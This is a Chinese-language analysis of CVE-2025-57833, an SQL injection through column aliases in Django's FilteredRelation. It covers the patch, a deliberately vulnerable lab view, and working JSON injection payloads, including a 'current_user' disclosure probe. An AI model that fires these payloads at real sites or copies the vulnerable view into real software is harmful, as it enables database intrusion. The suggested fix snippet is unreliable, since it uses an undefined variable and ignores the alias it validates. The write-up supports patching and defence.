CVE-2025-57833:Django FilteredRelation SQL注入漏洞分析
漏洞概述
CVE-2025-57833是Django框架中的一个SQL注入漏洞,影响Django 5.2及之前版本。该漏洞存在于FilteredRelation功能的列别名处理中,当使用QuerySet.annotate()或QuerySet.alias()方法并通过Python字典扩展(**kwargs)提供列别名时,由于对字典键(列别名)未进行充分验证,导致攻击者可构造恶意字典注入SQL语句。
技术背景
FilteredRelation功能
FilteredRelation是Django ORM的高级特性,用于在JOIN操作上添加过滤条件并生成别名。它允许开发者在关联查询时添加额外的过滤条件,而不仅仅是基于字段相等的关联。
漏洞历史关联
此漏洞与之前修复的CVE-2022-28346类似,都是由于别名验证不完善导致的SQL注入。CVE-2022-28346修复了QuerySet.annotate(), aggregate(),和extra()中的类似问题,但遗漏了FilteredRelation场景。
漏洞分析
补丁代码分析
补丁地址:https://github.com/django/django/commit/4c044fcc866ec226f612c475950b690b0139d243
主要修改在django/db/models/query.py的add_filtered_relation方法中,增加了对别名的安全检查:
def add_filtered_relation(self, filtered_relation, alias):
# 新增的检查
self.check_alias(alias)
# ... 原有逻辑
安全检查实现
check_alias方法使用正则表达式过滤危险字符:
FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r"['`\"\]\[;\s]|--|/\*|\*/")
def check_alias(self, alias):
if FORBIDDEN_ALIAS_PATTERN.search(alias):
raise ValueError(
"Column aliases cannot contain whitespace characters, quotation marks, "
"semicolons, or SQL comments."
)
触发路径
- 用户输入通过**kwargs传递给annotate()方法
- 调用_annotate()方法
- 调用add_filtered_relation方法
- 未经验证的别名直接拼接到SQL语句中
环境搭建
所需组件
- Python 3.11
- Django 5.2
- PostgreSQL数据库
数据模型
from django.db import models
class Author(models.Model):
name = models.CharField(max_length=50)
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
漏洞代码示例
import json
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.views import View
from django.db.models import FilteredRelation, Q
from vuln.models import Book
class Books(View):
def post(self, request: HttpRequest):
try:
body = json.loads(request.body)
alias_name = body.get('alias', 'book_author')
author_filter = body.get('author', None)
query = Book.objects.annotate(
**{alias_name: FilteredRelation("author",
condition=Q(author__name=author_filter) if author_filter else Q())}
).filter(**{f"{alias_name}__id__gt": 0})
return JsonResponse({'data': list(query.values_list())})
except Exception as e:
return JsonResponse({'error': str(e)}, status=500)
漏洞利用
利用条件
- 应用程序使用FilteredRelation进行关联查询
- 别名参数用户可控
- 查询结果被实际使用(否则ORM会优化掉未使用的别名)
利用步骤
正常请求
{
"alias": "book_author",
"author": "John"
}
生成SQL:
SELECT ... FROM "vuln_book"
INNER JOIN "vuln_author" book_author
ON ("vuln_book"."author_id" = book_author."id" AND book_author."name" = 'John')
WHERE book_author."id" > 0
注入攻击
恶意payload:
{
"alias": "xxx\") AS xxx USING (id)) AS aaa ON (aaa.id=vuln_book.author_id AND false--",
"author": "test"
}
生成的恶意SQL:
SELECT ... FROM "vuln_book"
INNER JOIN "vuln_author"
ON ("vuln_book"."author_id" = "vuln_author"."id")
INNER JOIN (SELECT "vuln_author"."id" FROM "vuln_author"
WHERE "vuln_author"."name" = 'test') AS xxx USING (id))
AS aaa ON (aaa.id=vuln_book.author_id AND false--)
AS "xxx\") ON ... WHERE xxx\".\"id" > 0
信息泄露利用
通过堆叠查询获取数据库信息:
{
"alias": "xxx\") AS xxx USING (id)) AS aaa ON (aaa.id=vuln_book.author_id AND (SELECT current_user)='postgres'--",
"author": "test"
}
技术细节
关键发现
- 别名必须被使用:如果annotate()创建的别名没有被后续的filter()使用,Django ORM会优化掉该查询部分,导致注入失败
- 数据库特异性:利用技术需要根据后端数据库进行调整
- 字符限制:需要绕过别名中的特殊字符限制
绕过技术
利用PostgreSQL的USING语法和注释字符来构造合法的SQL语句:
- 使用
USING (id)简化JOIN条件 - 利用SQL注释
--截断后续语句 - 通过子查询实现堆叠查询效果
修复方案
立即措施
- 升级Django到安全版本(5.2.1或更高)
- 对用户输入的别名参数进行严格验证
- 避免将用户输入直接用于ORM查询结构
代码修复
# 安全的做法:使用固定别名或严格验证
def safe_annotate(alias_input):
# 验证别名合法性
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', alias_input):
raise ValueError("Invalid alias name")
return Book.objects.annotate(
book_author=FilteredRelation("author", condition=Q(author__name=author_filter))
)
防护建议
开发规范
- 输入验证:对所有用户提供的查询参数进行严格验证
- 参数化查询:使用Django ORM的标准方法,避免字符串拼接
- 最小权限:数据库连接使用最小必要权限
- 安全审计:定期检查使用FilteredRelation的代码
检测方法
- 搜索代码中的
FilteredRelation使用 - 检查是否通过
**kwargs传递用户输入 - 验证别名参数是否有适当的过滤
总结
CVE-2025-57833展示了ORM层安全的重要性,即使是经过充分测试的框架也可能存在边界情况的安全问题。开发人员应该:
- 理解ORM底层工作原理
- 对用户输入保持高度警惕
- 及时关注安全更新
- 实施纵深防御策略
该漏洞的利用虽然需要特定条件,但一旦满足条件,危害严重,可导致数据库信息泄露甚至控制。通过正确的安全实践和及时更新,可以有效防范此类风险。
参考资源
- 官方补丁:https://github.com/django/django/commit/4c044fcc866ec226f612c475950b690b0139d243
- 复现环境:https://github.com/sw0rd1ight/CVE-2025-57833
- Django安全公告:https://www.djangoproject.com/weblog/2025/nov/02/security-releases/